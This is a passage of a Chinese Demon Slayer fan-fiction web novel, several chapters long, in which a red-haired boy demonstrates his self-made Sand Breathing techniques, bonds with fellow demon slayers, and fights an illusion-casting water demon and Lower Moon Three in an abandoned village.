接下来的话题很轻松,悲鸣屿行冥问其沿路的风光,红诀也磕磕绊绊地进行描述,识字不多的他不会用优美的语气,但把风景的颜色和给他的感觉很精确地描绘出来,话语中可以感到他也很享受。 轻松的话题有效缓解了红诀的局促,借着话题,悲鸣屿行冥也询问其现在的呼吸修习。 红诀现在修习的呼吸流派是水之呼吸的衍生,他自己自创的沙之呼吸。 提起自创的呼吸流派,一旁的蝴蝶姐妹也有了共同话题。 蝴蝶姐妹也是从水之呼吸开始修习呼吸法,不过因自身的特性,自创出自己的呼吸流派。 温柔的香奈惠修习的是花之呼吸,蝴蝶忍修习的是沿自花之呼吸而衍生出来的虫之呼吸。姐妹两人因从小熟知药理,在入队也逐渐接手蝶屋的管理,为受伤的剑士提供了不少帮助。 “我的花之呼吸,其实是通过观察花的四季流转以及各类花的特性所研究出来的。”香奈惠细心地讲述了自己悟出花之呼吸的过程,她的日轮刀是樱粉色,是非常漂亮的一种颜色。 听着香奈惠的话,红诀也认可地点头:“沙之呼吸,是我根据沙漠中的各种天气产生的想法,现在只有三个型。”红诀详细地把自己的三个型描述出来。 “流沙嘛。”蝴蝶姐妹和悲鸣屿行冥被红诀描述的沙漠风光所吸引,沙漠是他们未曾看过的景光,“看来红诀去过很多地方。” “我听信中说,红诀你更擅长体术而不是刀术,采用的日轮刀也是不同的样式。”悲鸣屿行冥有些好奇红诀的武器,修习岩之呼吸的他同样不是采用传统的日轮刀,而是锁链相连的刀斧和流行锤。 悲鸣屿行冥的询问让红诀爽快地抽出背后的双拐,双拐既出,其刀身上的金色也一下子闪到了蝴蝶姐妹。 蝴蝶忍:“红诀,你这拐……” 蝴蝶香奈惠轻笑:“很有特色。” 只有眼盲的悲鸣屿行冥不知发生了什么事,贴心的香奈惠也细细向其描述,重点强调了红诀武器的昂贵。 “哈哈。”了解了的悲鸣屿行冥也笑了几声,着实感到有趣。 “你既然已经有了自己的修习方法,我也教不了你什么。”红诀已经开始走上自己的道路,悲鸣屿行冥也给不了再多的建议,在聊天中了解其心性的他也觉得红诀并不适合代表坚毅、稳重的岩之呼吸,反而更像热情似火、一往直前的炎之呼吸,可惜炎柱已经退役。 “我可以给你展示下岩之呼吸的几个型,看看 12. 少年与理想 《红诀[鬼灭]》全本免费阅读 见识到柱实力的红诀兴奋地鼓掌,在悲鸣屿行冥的攻击中他能感到那股让人震撼的精神力量和气势,让他既兴奋又战意满满。 檐下的锖兔他们也握紧双拳,蠢蠢欲动的战意弥漫在空气中。 展示完这一型,悲鸣屿行冥也没有停歇,一一演示后续的五个型,由于地形原因,在展示到威力巨大的招式时,他也收敛了力气,注重展示技巧,让一边观摩的众人领悟。 力与技巧的结合在悲鸣屿行冥身上体现得淋漓尽致,刀斧和流星锤的重击,因力顺势牢牢掌握中间链接的锁链,作用力和反作用力的利用,在极致的力量之下细腻的技巧,这等战斗技巧让围观的众人打心底地佩服。 不愧是柱,只是简单展示的招式中,就有现在还稚嫩的少年剑士还没掌握的高超战斗技巧。 等到悲鸣屿行冥展示完,红诀他们还停留在震撼之中,微妙的感悟弥漫在心头,有种醍醐灌顶的畅快感。 “好厉害!悲鸣屿大人好厉害!” 红诀真诚直白的称赞最先响起。 “不愧是柱啊,我们还有得练呢。” “真是场华丽的表演,好想立马就去战斗!”激动的锖兔快抑制不住自己的战意,想要战斗的心情洋溢在脸上。 男生们的激动肉眼可见,一旁的蝴蝶姐妹也感受明显。 “要好好养伤哦!” 从震撼中回神的蝴蝶姐妹威胁地说道,她们不是第一次见识悲鸣屿行冥的战斗了,但果然,每次见都会被震撼到。 “到你了,红诀。”悲鸣屿行冥看着已经兴奋不已的红诀,退到檐下,把场地让给年轻的剑士。 他也很期待,潜力惊人的年轻一辈会有什么样的风采。 “好!” 不死川和蝴蝶姐妹也坐直了身子,年轻一辈的传说,让他们看看究竟有几分实力。 “我开始了!” 场地中央的红诀大声喊道。随着背后双拐的抽出,在场的人都明显感到中央那个红发少年的气场发生了变化。 如果说平常和他们讲话的红诀像温顺天真的猫,现在的红诀就像觉醒的幼狮。 “沙之呼吸,一之型,沙鸣。” 一声低语,红发少年半旋着身子,只听一声用力的踏地声,少年凭空跃起,在半空中扭转半身,高速的旋转伴随着尖锐的亢鸣,刺激着众人的耳朵。 半空的少年高速旋转,双拐金色的刀光与旋转融为一体,卷起地上的沙土,远远看去,就像一个小型的沙尘暴,尖鸣中蕴含着可怖的能量。 “这种旋转速度!”修习风之呼吸的不死川同样熟悉旋击的方法,可红诀的旋转速度和稳定程度,仍旧让他吃惊。 高速旋转之后,红发少年翩然落下,脚尖点地,一脸轻松自如,仿佛刚刚高速的旋转并没有给他造成影响。 落地的红诀接上了第二型。 “沙之呼吸,二之型,沙刃回旋。” 只见轻巧落地的红诀顺势下蹲,转过身把手里的双拐齐齐扔出去,破空声响起,双拐以肉眼看不清的残影袭向远处的树木,轰地一声,接连三棵树的树干被击碎,崩裂的木块四溅,破坏力惊人。 不死川震惊:“喂喂,还能这么做?” 隔着这么远的距离还能有这么强的破坏力,红诀的力气是有多大。 香奈惠有点好奇红诀的身体构造了,单论效果,红诀的攻击其实和刚刚悲鸣屿行冥的岩之呼吸效果差不多,但悲鸣屿行冥可以捕捉力量的渐进,而红诀的爆发就像是与生俱来,只要他想,他就能爆发出强大的力量。 锖兔凝神:“要下一型了。” 众人聚精会神,齐齐盯着再次落地的红诀,等待下一型的到来。 等红诀站稳后,他却转身收拐,开口让他们捂住耳朵。 捂住耳朵? 锖兔三人还在疑惑。 悲鸣屿行冥和蝴蝶姐妹却想起,红诀所说的,第三型是沙龙的咆哮,是担心他们受伤吗? 带着不解,众人也听劝地捂上耳朵。 确保众人都捂住耳朵,红诀轻咳几声,低声测了测音量。 这一招在他第一次尝试时,忘记掌控音量了,在当时闹出了很大的动静。 捂着耳朵的众人看着红发少年对着山林微微张口,下一秒,无声的音浪便袭来。 他们没有听见声音,却看见了声音的形状。 红诀正前方的山林都向后倾,靠得近的树木,树皮都已经皲裂,数不清的鸟类从树上落下。连捂住耳朵的他们也头脑发晕,迟迟无法言语。 小心控制了范围的红诀瞧了瞧四周的情况,很好,没有危及到山下。 他的三个型都已经演示完毕。 从咆哮声中最先回过神的是悲鸣屿行冥,他一向面无表情,带着悲悯的脸第一次出现了明显的笑容。 他很开心,年轻一辈中有这样的天才。 红诀的力量远超常人,只要他成长起来,将是鬼杀队的支柱。 “做得很好,红诀。你很厉害,我很开心。” 悲鸣屿行冥抬手摸了摸红诀的头,红色卷发的手感极好,就像是猫咪的毛发,倍感亲切。 已经担任一段时间柱的他知道恶鬼更为详细的情报,鬼中也存在等级。 以鬼王鬼舞辻无惨为首,其座下有十二鬼月。 他就任以来,只与下弦的鬼交过手,他们的力量就已经很惊人,更何况上弦乃至鬼王。 鬼杀队秉持斩灭恶鬼的坚定理念,所有队员都是以人类躯体进行对抗,几百年来死伤无数,而鬼王及其上弦却依旧没有现出身影。 人才的匮乏是鬼杀队最急切的难题。 而现在这年轻一辈,都很强。 红诀也好,锖兔不死川义勇,蝴蝶姐妹也罢,他能感受到蓬勃强大的生机。 他很欣慰,很开心,很想把这个消息分享给主公大人。 “我期待在柱合会议见到你,继续变强吧。” 悲鸣屿行冥温柔地摸了摸红诀的头,红发少年面对头上温柔的触摸,也开心地仰头蹭了蹭悲鸣屿行冥的手底。 “还有你们,希望就在你们身上。” 悲鸣屿行冥不忘檐下的几人,无神的双眼一一注视,给予最美好的期望。 “谢谢你,岩柱大人。” 众位小辈齐齐说道。 展示已经结束,简单收拾下 13. 少年与朋友 《红诀[鬼灭]》全本免费阅读 “红诀,你需要好好想一想,自己真正想要什么?” 悲鸣屿行冥在那之后待了一天就离开了,临别前他和红诀说了这样一句话。 我想要什么? 留下来帮助蝴蝶忍研究的红诀脑里不断思索这一问题,今天之后他就要继续去执行任务。但悲鸣屿行冥留下来的问题他还是没有答案。 [马尔巴士,你知道吗?] 思索无果,头疼的红诀还去问了远在世界之外的马尔巴士。 [这种东西得靠你自己想,我帮你想出来了就不是你自己的想法了。] 善于发现真实的马尔巴士瞥一眼就已经知道问题的答案,但他不能回答,成长的阶段都要靠自己去经历。 整天游手好闲的马尔巴士也关注年幼宿主的成长问题。他这次的宿主居然还是个孩子,还没养过孩子的马尔巴士有些好奇,其实他挺想直接告诉红诀的,但考虑到孩子的成长,还是算了。 他是个好魔神。 而且红诀这小子天天勾引他,让他自己去悟去。 只能靠红诀单方面连通通讯的他隔三岔五就能听到红诀的声音。 单纯的宿主吃到什么好东西都要和他分享。 但他能怎么办,只能看,不能吃。 还不如不跟他说。 锖兔已经伤好出去执行任务了,病房里只留不死川和义勇两个人。 不过今天,又多了一个人,来人是不死川的师兄粂野匡近,他正巧路过蝶屋,来看望受伤的不死川。 “你这家伙来干什么?”躺在床上的不死川有些不耐烦地看着坐在床边的少年。 少年看着比不死川年长,利落的打扮,短短的头发,脸上和不死川同样有疤痕,在左脸下方。看似很硬气的外表却有温柔的气质,他正絮絮叨叨地念叨不死川。 “我是你师兄,当然要来看看我受伤的师弟了。”粂野匡近好脾气地回答,“你这次受的伤不轻,除去腰部的伤,你是不是又通过自残来吸引恶鬼了,我看到你手臂的伤了。” “不用你管。”被点破这一点,不死川故作不耐地拍开粂野匡近想要查看伤口的手,看似凶巴巴但打在手上的力度并不大。 “那你等会给我看看。”熟知不死川性子的粂野匡近没有勉强,他从一边拿起一个盒子,“我还给你带了萩饼,你喜欢的。” “混蛋师兄,用不着你这么关心。”看着被打开的盒子,不死川没有再硬声抵触。 从被粂野匡近拉进鬼杀队,这个老好人师兄就跟个狗皮膏药一样跟在他身边给他送根本不需要的关心。相处久了,不死川从一开始的抗拒到现在妥协,粂野匡近也是尽了很多努力。 多余的关心给别人不好吗,干嘛一直粘着他。 不死川看着粂野匡近一贯温和的面容,别扭地想着。 “原来你喜欢萩饼。” 同样也在病房中的义勇没有错过师兄弟之间的聊天,他恍然大悟地敲了敲手心,面无表情地插入了聊天。 “对!怎么了,你有意见!” 义勇的突然插话又一次点燃了不死川的脾气,刚被粂野匡近软化的脾气再次爆发。 “你别这么急,人家没别的意思。”粂野匡近接着顺毛。 不死川气急:“那小子我看他就不爽!” 义勇正色:“我没有看你不爽。” “果然我还是该揍你一顿!” 站在门口的红诀看完了整场闹剧,看着越发激烈的气氛,他连忙走进去帮着隔开不死川和义勇,他们隔着四张床都能吵起来,也是真的不合。 “啊拉,真是热闹呢,到了换药时间了。” 蝴蝶香奈惠的声音从门口传来,今天来给病号换药的不是蝴蝶忍,而是香奈惠。 对于香奈惠温柔的劝导,吃软不吃硬的不死川气也歇了。 “蝴蝶大人,辛苦你了。” 多次陪不死川来蝶屋的粂野匡近对香奈惠很是熟悉,毕竟她能治一治他那别扭的师弟。 “匡近,你也来了啊,让我先给不死川换药吧。”香奈惠笑着和粂野匡近点头,开始给不死川换药。 她的动作很轻柔,在处理的间隙,她小声地叮嘱不死川。 “你也总是让匡近担心了。” 不死川烦躁:“是他上赶着来担心的。” 那边的换药在进行,义勇这边也在和红诀聊天。 两人聊起鳞泷老师,前段时间鳞泷左近次又收了一个弟子,是个女生,天赋很好,他们这些师兄也都知情。 义勇前段时间经过狭雾山了,也去拜访了下鳞泷,他有点开心和红诀说,鳞泷老师给他做了萝卜鲑鱼。说起萝卜鲑鱼,义勇没有表情的脸上多了几分异彩。 而谈起美食,红诀也和义勇分享哪里的拉面很美味,两人凑在一起嘀嘀咕咕,连前来换药的香奈惠都没发现。 香奈惠无奈笑了笑,“到你了,富冈。” 红诀见状也退到一边腾出空间。 “嗯,看来恢复得不错,很快就能继续去执行任务。” 义勇的伤势好得很快,香奈惠又多叮嘱了些注意事项,要离开的时候还把坐在一旁的红诀叫到病房外。 她知道红诀下午就要出发继续执行任务,便从腰间解下一个香囊,递给红诀。 这是个祈福香囊,里面装了些安神的药材,带着好闻的香味。 “这是我和忍准备的香囊,就当是你那一管血的回礼。” 香奈惠对于红诀的帮助很感谢,思来想去也不知道红诀缺什么,也只能简单做了个祈福香囊。 接过香囊的红诀凑近闻了闻,很清新的味道,他很喜欢! “对了,还有些伤药,这些每一个外出执行任务的剑士都有。”香奈惠又拿出一个药包,虽然知道对于红诀而言可能派不上用场,但心意还是给了。 “期待你早日成为柱。” “谢谢。” 短短几日的相处,红诀也深刻地体会到蝴蝶姐妹对自己的照顾,即使他没受伤,也在蝶屋度过了很快乐温暖的时光 14.少年与渔女村 《红诀[鬼灭]》全本免费阅读 “宗教?”红诀嘴里还含着面条,含糊地问道。 “具体的,仁田他没细说,他很着急就走了。”沼田回想其昨天和仁田的聊天内容,“这个任务他已经追查有一阵子,应该没什么危险。” 想起昨夜告别时,仁田一脸正经的模样,沼田又有些感慨,“仁田对于杀鬼这件事,意外很投入和开心呢。” 信奉武士道的仁田为人正直,对于帮助别人所获得的成就感和幸福感也比别人更为充足,对于任务,他很积极,也极为认真。 察觉沼田语气中的感慨,红诀含糊地回答:“不愧是仁田。” “哈哈,你说得对,不愧是他。” “对了,他还留了些手信,给你也尝尝。” 沼田又笑了,笑完之后他又看着红诀不说话。敏锐的红诀并没有错过,他咽下口中的食物,认真地问:“沼田,怎么了?” “啊。”沼田张合着嘴巴,被看破心事的他有些懊恼和颓废,“啊怎么说呢,就看着仁田的样子,有些高兴又有些迷茫吧。” 沼田的家族背景并不简单,家里的人从商又从政,在这样的家族里的人,一般都是沿着父辈们安排的道路,继承家业的。好在沼田家他并不是长子,自己的哥哥也支持他,他才能逃离家加入鬼杀队,虽然和家里的关系也并不好就是了。 一腔热血加入鬼杀队的他本就抱着为自己死去的母亲报仇的心思去斩灭恶鬼的,但接手的任务多了,残酷的现实也让他有些无力感,出身不俗的他深知自己并没有成为柱的天赋,也不像仁田那样有非常深刻的正义感。 处于不上不下的位置,让想作出一番成就的他感到了迷茫。傲骨和平凡之间的落差让他突然想起离家前父亲的那个平静的眼神,像是在说,离开这个家,你又能做些什么? 沼田深深叹了一口气:“我现在有点找不到自己想要什么了。”急切不甘,还有深知不足的无力让他都摸不透自己的内心。 “想要什么?”红诀想起岩柱的话,“有人也问过我这个问题。” “那你的回答呢?” “我不知道。应该是成为柱?” “你都甲级了,离柱也不远了。” 沼田看着苦思冥想的红诀,安慰自己乐观地想着,红诀这种天赋的人也有烦恼,“不过,你说的也对,先定个小目标吧,你成为柱,那,我就先成为丙级队员!” 还未成年的两人举着手里的汤碗碰了一下,继初见的约定再次一同宣誓。 “唉,想这么多有的没的也没用,说不定哪会就牺牲了……”许下豪言壮志的沼田瞬间又颓了,死鱼眼地喃喃道。 话没说完,就被旁边喝汤的红诀赏了一个嘴巴子,“这种不吉利的话不能说。” “哈哈,你说得对。” 吃完饭,两人倚在河边继续聊天,说话间隙,红诀从怀里掏出一个东西,那是他在一次任务完成后村民送的御守,有保护平安的含义,一共给了五个,他之前给了锖兔和义勇两个。 他把御守给了沼田,紧盯着他把御守放在怀里才罢休。作为回礼,沼田也把一早就准备给红诀的刀锷送给他。 刀锷周边镶了一圈金边,一看就是真正的金子。 “原本就准备了,没想到你用的不是日轮刀,这个东西也就搁置了。” 爱财的红诀两眼放光的咬着金边:“真的金!” 沼田抱胸:“也不瞧瞧我什么身份!”虽然和家里人关系不好,但他的好哥哥可都会补贴他。 钱,对沼田少爷来说,都不是难事。 收到喜欢的礼物,还是金子,红诀有些蠢蠢欲动地想让沼田看看自己散发金光的刀身。看着红诀边说着边要在人来人往的大街抽出双拐,吓得沼田急忙摁住,“去人少的地方看!” 被摁住的红诀还是不甘心,他小心地把布条扯下一块,边拿着刀锷和金色的刀身比较,边向沼田看。 “真的很难分辨!”沼田眯着眼睛凑近瞧,两者的差别特别小。“我还是修习雷之呼吸的呢,为什么我就是普通的黄色。” 他看着自己腰间的日轮刀,不服的心情一下就涌了上来。炫耀完的红诀乐呵呵地看着他,惹得他仗着身高对其毛茸茸的红色卷发一通揉。 “卖报卖报!” 两人打闹的间隙,一旁路过的报童吆喝着路过,每天都看报的沼田拦着买了一份。报纸上还是那些板块,只是右上角报道着一则新闻所附的照片上看着有些奇怪。 见识颇多的沼田指着照片,让费劲解读文字的红诀看,“也是巧了,刚刚我们才说到宗教,这照片上就有。” 照片照得模糊,几名知名人物坐在一起,微笑地看着镜头,只是背后的“极乐”字样有些突兀。 红诀仔细分辨:“极乐?” “大概是宗教的信条吧,不过有钱人家里面信仰宗教的也不少。”沼田回想自己曾经伴随大哥去往其他聚会,那些人家的家里也有很多宗教的东西,不过他们家不信教。 沼田很快就忽略了这个信息接着往后看,只是红诀多看了几眼,并把新闻报道的地点记下。 快乐的时光并不长,最先离开的,是接到任务的沼田,相聚没到一会,临别时,两人都有些不舍得。 红诀站在街口,看着向他招手告别的沼田,握紧了手里的刀锷,有点期待下次见面了。 [马尔巴士!你看看,这是我收到的礼物。]想要找人聊天的红诀开始骚扰远在世界之外的魔神,他拿着刀锷全方位地展示,生怕马尔巴士看不清楚。 [这么小的金子。哼,你是忘记了我的迷宫顶层的那些吗?] 被吵醒的魔神习以为常地眯着眼瞧着刀锷,嘲笑地轻哼出声,他的迷宫里,黄金这等金属器数不胜数,这点小东西他根本瞧不上。 魔神的吐槽和不屑并没有打击到红诀,他依旧很开心地重复这是朋友给我的礼物。重复多了,马尔巴士也烦得不行,说得谁没有朋友一样,他有一大堆! 不屑与小孩计较的魔神跟着红诀炫 15.少年与水鬼 《红诀[鬼灭]》全本免费阅读 岛中从接受雇佣后,已经前后送过几名剑士前往风葉村。 这个叫鬼杀队的组织,没有官方的印章和手信,还老是穿着黑漆漆的,带着武士刀。要不是雇佣的金额够高,他急着用钱,也不会来做这种事。 无忧河的下游其实并不是只有风葉和渔女这两个村子,河流分岔口的另一处存在一个废村,就在两个村子相隔的那道裂缝边缘,已经很久没有人居住。 据村子里的传闻,那个村子因触怒神明被神罚,所有前去之人皆会死去。一开始尸体漂流到村子的时候,大家也讨论过是否是废村那飘过来的。 但废村的那条支流存在一个明显的弯道口,会阻隔所有废村飘来的东西,那个弯道口至今都还有很多飘在水面的腐木,堆积一片很是难闻。 说尸体从那里飘过来属实无道理。 但话是这么说,废村复苏的传闻还是在村中愈演愈烈,他也不是聋子,也怕摊上这种事。好在风葉村在废村的另一处,驾船过去根本不用经过废村,他才会接这个委托。 前后送过的几名剑士起码看着都是接近成年的,这次送的一看就算小孩子,这个组织到底是做什么的,还雇佣童工。 “我没有被骗。” “那你几岁?” “12岁。” 还没过新年,红诀还是12岁,加入鬼杀队不到半年就成为甲级队员,这种晋升速度也是惊人。 岛中嫌弃:“那还不算雇佣童工。” 12岁,和他女儿差不多大。想到自己患病的女儿,岛中也叹了口气,算了,自己也是赚他们的钱。 “那里很危险,你知道吗?” “知道。但我很强。” 很强?岛中看了眼自信的红诀,少年昂首站在风雨中,很有气势的样子。 真的假的。 风雨还在继续,周围的河面不断随着风雨一同起伏,将小船上的油灯晃得东倒西歪。 红诀站在风雨中,深深吸了一口气,雨水的味道淋湿在嘴上,他舔了舔下唇,并没有什么其他的味道。 此时小船正路过一片桃花林,正值桃花盛开的季节,风雨中还能看到因盛开而掉落在水面的花瓣。 看红诀盯着两侧的桃花林,岛中也开口道:“过了这片桃花林,就是风葉村了。” “要不是现在是晚上还下雨,白天的这段河会更美。” 听着岛中话,红诀俯下身子伸手舀起几片飘在水面的花瓣。 的确,周围桃花盛开的景观即使在夜色中也能窥探几分,桃花的味道,蝴蝶姐妹所送的香囊中也有,很好闻。 但为什么,明明桃花盛开得如此茂密,但空气中的桃花香味却淡极了。 是风雨的原因吗? 红诀将手里的花瓣在手中碾碎,凑近一闻,却没有闻到桃花的香味,而是一股难闻的腐木味道。 不对劲,为什么闻到的是这种味道,他警觉地往四周看去,周遭的一切还是桃花林,但萦绕在鼻尖的腐木味道还没消散。 眼前的一切是真是假? 看着还在前头冒雨驾船的岛中,红诀幽幽的语气中带着疑惑:“岛中先生,我们是在前往风葉村的路上吗?” “我们要去哪里?” 红诀的疑问像是打断了船的前进,昏暗的夜晚下,背对着红诀的岛中忽然一愣,他放下船桨,转过头看着红诀。 “你在说什么,我们就快到了啊,只要经过这片桃花林。” 轰隆一声,天上闪过一道闪电,雷光照亮了船上的岛中,模糊的雨中,他的声音像是变得低沉起来,面容也在无声中发生变化。 红诀的眼睛缓慢地眨了一下,模糊不清的视线中,眼前普通面孔的岛中在瞬间发生变化,他的眼睛布满血丝,尖尖的獠牙随着嘴巴的开合刺破了嘴唇,整个身躯膨胀起来,黑色的指甲握在船桨上。 所有的一切都发生得无声无息,只是一个眨眼的功夫,岛中就变成了恶鬼模样。 岛中似乎没发现两人之间异样的气氛,他无辜地说:“你看,那不就是风葉村吗?我们快到了。” 他黑色的指甲指向远处的光亮处,坦然真诚的表情在狰狞的脸上格格不入。 面对突然变成恶鬼的岛中,红诀下意识抽出了双拐,眼前的一切有几分是真的? 变成恶鬼模样的岛中身上并没有携带恶意,就像这恶鬼皮下的还是那个拿钱办事的老实人。 红诀不可能对眼前不知是人是鬼的岛中下手,眼前的一切都不可信。 桃花不是桃花,而是腐叶;恶鬼不是恶鬼,而是人。 从他踏上船的那一刻,他已经进入了恶鬼血鬼术的范围。或者是从进入整个村子也说不定,红诀对刚刚经历一切从产生怀疑,怎样去检验眼前的一切的真假,而恶鬼究竟有什么目的。 思考着一切的红诀举起手里的双拐,倒转着方向对自己的小臂轻轻划下,刀身很锐利,少年白皙小臂上已经开始流淌鲜血,顺着手肘滴到地面。 血液滴下的声音在无声中放大,眼前的岛中依旧不解地看着红诀,在红诀自伤双臂后,他对于流淌的血液也毫无反应,反倒是船下,漆黑的河水里开始浮现大规模的阴影。 阴影的出现使整个小船开始左右摇晃,岛中也被这突然起来的晃动所惊到,他扶住船身,竭力稳住平衡,恶鬼狰狞的脸上满是惊慌和不安。 血液的引诱证明了岛中是人的身份,而被惊动的黑影则是真正被引诱的恶鬼。 被血液所引诱的黑影突然从水下伸出无数触手想要推翻小船。而还没等触手接近,只听扑通一声,红色少年已经迅速跳入水中,循着黑影而去。 还来不及对袭来的危险有所反应的岛中看着又恢复平静的水面,长大着嘴巴满脸震惊。 昏暗的河水中,红诀半长的卷发浮游在水面,手臂上的伤口在河水的浸泡中将血腥味传播至更远。 一入到水中,黑影的真身便展露无遗,那是一只长满触手的水鬼,长长的黑发像水藻一样飘在水中,数不清的触手在水中乱舞,在红诀入水的那一刻,触手便四面八方地袭来。 水鬼触手目标明确地袭向红诀的四肢,想要将其的行动力完全限制住。水中,是它的主宰。无数的黑影中,与之相比身形瘦小的少年像是即将被困在的笼中之物。 强烈的对比下,渺小的红发少年漂浮在水中,水中有些暗沉的双眸中却不是惧怕和担忧 16.少年与下弦叁 《红诀[鬼灭]》全本免费阅读 “废村?” 红诀拧干自己湿透的衣服下摆,甩了甩自己的头发。刚刚底下的水鬼应该就是迷惑他们视线的源头,水鬼一死,幻觉也跟着消失,不过这幻觉应该就只是能迷惑视觉,更多的感知都是借了环境的便利。 不过,那只水鬼…… 红诀回想起水鬼临死前的木讷,不像是有自己意识思想的感觉,更像是傀儡。而且,如果没发现是幻觉,他应该会和之前的探查队员一样,被送往错误的目的地,来到这所谓的废村。 “废村,是几十年前废弃的村子,具体的我也不了解,据说那里受了神罚,去往那里的人都会死去,宛如受到诅咒一样!” 岛中哆哆嗦嗦地说,他已经完全搞不懂这一切了,为什么前往风葉村的路会通往废村这里来,眼前的一切又要几分真假,刚刚的触手又是什么…… 他后悔了,他就不该接这个委托。 不远处被传为废村的村庄看去并不是毫无人烟,相反,那里灯火通明,显然就是一个十分热闹,人口兴旺的村子。 岛中已有退缩的念头了,他犹豫再三,看着红诀结结巴巴地说不出口。 看出岛中有回去的念头,红诀也理解,他善解人意让岛中就近送他上岸,不必前往废村,接下来的路他自己走就行了。 岛中前几次的委托,应该都是如此,将探查队员送往看似是风葉村,实则是废村的地点;等四个小时后再来接要返回的队员时,他已经前往了真正的风葉村,自然也接不到要返回的队员。 废村,红诀是一定要去的。除去那些探查的队员,可能还存在更多被迷惑,被送往废村的普通人。 听到红诀提出的建议,惊慌的岛中更是连连点头,从发觉是废村的那一刻,他已经迫不及待地想逃了。 “少年,我就送到这里了。谢谢你刚刚救了我,也很抱歉我不能陪你过去。”岛中看着已经下船的红诀,愧疚自责的感觉复杂苦涩,“我会向你的同伴传递这里的情况的,我也只能帮你到这里了。” 见此红诀安慰道:“岛中先生已经帮了很多了,赶紧回去吧。”水鬼已经被消灭,岛中回去的路上也不会有危险。 说罢,红诀和岛中告别,便飞快朝中灯火通明的废村跑去。水鬼和队员,对红诀来说,都是藏于废村的恶鬼给予的陷阱,那只恶鬼究竟要干什么,去往废村就能一探究竟。 越靠近废村,越能感觉整个村子的不对劲感。红诀很快来到村口,往里看去,此刻的废村家家户户都点亮了灯,高悬的灯笼密密麻麻,让整个村子宛若白日。 村子里的房屋几乎看出什么破损的痕迹,整齐排列的房屋,街道上不断行走的人群,每个人脸上都带着笑容。两侧的小摊上也有商贩,一切都非常和谐和正常。 眼前的一切,任谁看了都不相信这是个已经荒废几十年的废村。 这就是鬼的幻术,鬼的能力已经超过了红诀之前遇到的范围,一定是个高等级的恶鬼。 看着眼前的一切,红发少年跃跃欲试,他抬脚踏入村口,无形的屏障被其穿过,街道的人也在瞬间发生变化。 咔嚓一声,少年的脚步声像是打破了村子的热闹,街道上走动的人们瞬间停了下来,齐齐转头看向这位未被邀请的不速之客。 黑白分明的一双双眼睛汇聚一处,见到来人,他们脸上挂着的灿烂笑容也集体消失。人声、风声、乐器声齐齐消失,紧张的氛围一触即发。 被齐齐盯着的红诀最能感受眼前明显的变化,那熟悉的幻觉再次袭来,眼前的人们在眨眼间变成各样恶鬼,尖锐的恶意也聚集在他身上,让他浑身紧绷。 街道上人鬼交杂,所有人都拿起了武器,齐齐对准站在村口的红诀。 幕后的鬼并没有想与红诀周旋,他活用幻术,迷惑红诀的视线,也迷惑村民的视线。 眼前的人们是恶鬼的傀儡,恶鬼自身还是人类? 红诀在村民眼中又是怎样的形象,为何会引起所有人的敌意。 所有种种都被打乱重组,像是挑衅,又像是嘲笑,高高在上地操纵着一切,看着入局者的反应。 “血鬼术,沙盘操纵。” 一声令下,所有村民全都往红诀涌了过来,以千军万马之势冲向独自一人的红发少年。 让我看看,你是杀还是不杀…… 幕后之鬼躲在一旁兴奋又紧张地期待着少年的反应,血流成河的场面仿佛就在眼前,让他已经变成恶鬼的心脏不停跳动。 而在恶鬼的注视下,只见站在村口的红发少年淡红色的唇微涨—— “沙之呼吸,三之型,沙龙的咆哮。” 无形的音浪向前席卷,音浪之下,整个前进的人群霎时顿住,像是被按了暂停键一样,手里的武器刷刷从手中坠下,所有人和鬼脸上的表情还保持着愤怒和厌恶。 半响过后,无数的倒地声响起。只见红发少年的前方,刚刚还犹如千军万马冲来的人鬼全都倒在地上,不省人事。 一众人群倒地后,剩下还站着的小孩显得格外显眼。 原本混迹在人群中的小孩脸上还保持着兴奋和激动,但异色双眸中的不解和惊讶却盖过了还没缓过来的表情。 小孩身穿着碎花和服,短短的头发,稚嫩的五官让人分辨不出性别,异色双瞳中,下弦叁的字样格外明显。 “找到你了,原来,你还是下弦啊。” 红发少年抬眸看向下弦叁,平静的双眸中掩藏着怒意。 “不可能!不可能!不应该是这样的!” 眼前倒地的人群让下弦叁不可置信地尖叫着,在他的预想中,应该是自相残杀的美丽场面才是,他还期待着,等这个剑士杀了全部人,后将他的幻术解开,欣赏他崩溃的样子的。 前几次都是这样的,为什么,为什么这次的不一样。 这个人,到底是…… 下弦叁:“!”什么时候过来的! 在下弦叁还在尖叫时,红发少年已经闪现到他眼前,速度之快,他都 17.少年与救援 《红诀[鬼灭]》全本免费阅读 [小子,怎么了?]蓝色魔神再次窥探世界裂缝,看到的就是一个落汤鸡一样的宿主。 [我想试试逆转之力。] [为了救人?不对啊,这地上躺着的都是身体虚弱而已。]马尔巴士转动眼珠看着红诀身边的情况,这小子周边躺着一大片人,看着也不像是他杀的,而且这些人都活着,救什么? [不是这些人。] 红诀自己下手有分寸,躺在地上的这些人只是被他的咆哮所震晕,他要马尔巴士救的是村子内部的那些人。 红发少年循着下弦叁刚刚想去的方向前行,鬼的幻术已经随着下弦的死去而消散,周围也变为废村最原始的模样,到处都是破败的房屋,长满杂草的田院。 沿着人走过的痕迹,红诀一步步靠近一个废弃的房屋,那个屋子周围长满杂草,但小院里面却格外干净,像是有人每天精心打扫过。 小院门口的木椅上,坐着一位低垂着头的老者,老者头发花白,穿着很整齐的衣物,手脚却有被捆绑的痕迹,他安详地坐在椅子上,而胸口却没有什么起伏,显然已经过世。 [这个已经死了,没救了。]马尔巴士循着红诀的视线看去,魔眼一看便知那个老人已经去世一段时间了,它继续往后探去,发觉院子后方有很多微弱的生命迹象。 [到后面去,后面有人。] 红诀穿过老人在的那个小院,小院后方是一个很大的废弃粮仓,粮仓生锈的大门上挂着一把锁,锁头紧闭。他伸手握住生锈的锁头,一个用力,锁便在他手中裂开两半。 咯吱一声,红诀推开有些破败的大门,昏暗的视线里,从粮仓中传来一股腐臭的味道,混杂着血腥味。月光只照亮大门旁边,模糊的视线中,红诀向前一步,脚边却碰到一把刀。 那把刀已经失去了刀鞘,刃身也被折成两半,血迹斑斑。 月亮的视线开始透过乌云探向地面,也一寸寸照亮粮仓内部。红发少年瞳孔紧缩地看着眼前的一切,到处都是血迹,受伤的人们互相取暖地抱坐一团,更深处是被收敛的尸体。 察觉到来人,窝在一起的人们下意识发抖,灰败的脸上带着恐惧和畏瑟,对着月光的到来躲避不已。 “是……鬼杀队的吗?” 受伤的人群中,守在最前的是一名受伤的剑士,他的右小腿往下已经消失,衣服布条死死扎住断口,即使这样,他仍旧依着自己的日轮刀坐在最前面,也是他第一个抬眼看向来人。 